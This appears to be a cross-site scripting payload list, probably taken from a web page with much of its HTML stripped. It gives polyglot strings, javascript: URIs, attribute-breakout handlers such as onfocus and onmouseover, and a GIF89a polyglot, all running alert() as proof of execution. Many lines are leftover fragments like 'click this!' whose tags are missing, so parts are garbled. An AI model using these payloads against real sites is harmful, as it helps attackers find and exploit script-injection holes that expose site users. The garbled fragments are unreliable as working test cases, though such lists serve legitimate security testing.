';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'>
javascript://'/--><p>*/alert()/*</p>
javascript://-->"/*/a
javascript://"/*//
javascript://--><a>*/alert()/*</a>
javascript://'//" --><b>*/alert()/*</b>
javascript://
javascript:alert()//--><a>*/alert()/*</a>
-->"/<a>*/alert()/*</a>
/<p>*/alert()/*</p>
javascript://-->
/<p>*/alert()/*</p>
<img src="1" alt="1" />
">
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
'-alert(1)//
\'-alert(1)//
lose focus!
click this!
copy this!
right click this!
cut this!
double click this!
drag this!
focus this!
input here!
press any key!
press any key!
press any key!
click this!
hover this!
hover this!
hover this!
click this!
paste here!
%3Cx onxxx=alert(1)
<%78 onxxx=1
" onxxx=1
'onload=alert(1)>
'>alert(1)
*/alert(1)
*/alert(1)">'onload="/*
`-alert(1)">'onload="`
*/'>alert(1)/*
<a>click</a>
click
click
click
<a></a>
"><img src="1" alt="1" />.gif
GIF89a/**/=alert(document.domain)//;
">
">
">
<a href="#x">click this!#x</a>
#x
<br /><br /><br /><br />
press F1! (MSIE)
press F12!
12
<img src="1" alt="1" />
<img src="1" alt="al" lang="ert" xml:lang="ert" />
<
<
<div></div>
<div>hello</div>
">
